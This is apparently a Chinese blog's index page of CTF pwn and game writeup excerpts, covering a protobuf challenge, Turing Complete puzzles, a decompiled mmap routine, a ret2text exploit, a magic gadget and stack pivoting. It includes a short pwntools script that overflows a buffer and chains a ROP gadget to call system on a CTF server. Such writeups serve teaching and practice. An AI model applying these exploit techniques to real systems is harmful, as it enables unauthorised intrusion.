我们联合,形成两面包夹芝士!

0x00 前言

这道题出来就是防ak的,对于新生赛来说确实有点难度,如果之前没接触过protobuf,在短时间内没那么容易直接做出来。但是如果你现在跟着wp复现过一次,那么之后再遇到,就会没那么慌了,甚至游刃有余。

题目名称: QQbot

阅读此文

OVERTURE架构

图灵完备

指令解码器

阅读此文

循环依赖

要你搭建一个输出决定输入的错误电路。

循环依赖

阅读此文

二进制速算

口算题,不涉及电路,好好熟悉一下2的次方数再去做会比较快。

成对的麻烦

阅读此文

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void *__fastcall sub_1389(double a1)
{
unsigned int v1; // eax
int v2; // eax
void *result; // rax

v1 = time(0LL);
srand(v1);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
isnan(a1);
v2 = rand();
result = mmap((void *)(v2 % 0x7FFFFFFF), 0x1000uLL, 7, 34, -1, 0LL);
dest = result;
return result;
}

申请了一块mmap地址。

阅读此文

0x00 giaopwn

ret2text,没什么好讲的。有个cat flag的字符串,直接用。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
r = remote("challenge.yuanloo.com", 41537)
context.log_level = 'debug'

rdi = 0x400743
flag = 0x601048
system = 0x4006D2

payload = b'a'*0x28+p64(rdi)+p64(flag)+p64(system)
r.sendline(payload)
r.interactive()
阅读此文

0x00 配置环境

VMware Ubuntu22.04
VMware Ubuntu20.04
WSL2 Ubuntu22.04均按照步骤配置环境没有问题

windows环境没有测试

阅读此文

原力觉醒

只是想教会你如何连接导线

原力觉醒

阅读此文

什么是magic_gadget

magic gadget其实是一类gadget的统称,指可以巧妙地实现某些目的的gadget。这里要讲的gadget只是众多magic gadget中的其中一个,可以在没法泄露libc地址的时候达到能够使用libc地址的目的。

这里要讲的gadget位于程序的__do_global_dtors_aux函数中,偏移是0x18。

阅读此文

pstack

分析

非常经典的没有回显的0x10字节溢出,栈迁移。第一件事就要先考虑怎么泄露出libc地址。我们选择将栈劫持到bss段。从汇编代码可知vuln函数栈帧开辟了0x30大小,所以把rbp劫持为某个选定的bss段+0x30,这样rbp就会跳到bss+0x30。

阅读此文
⬆︎TOP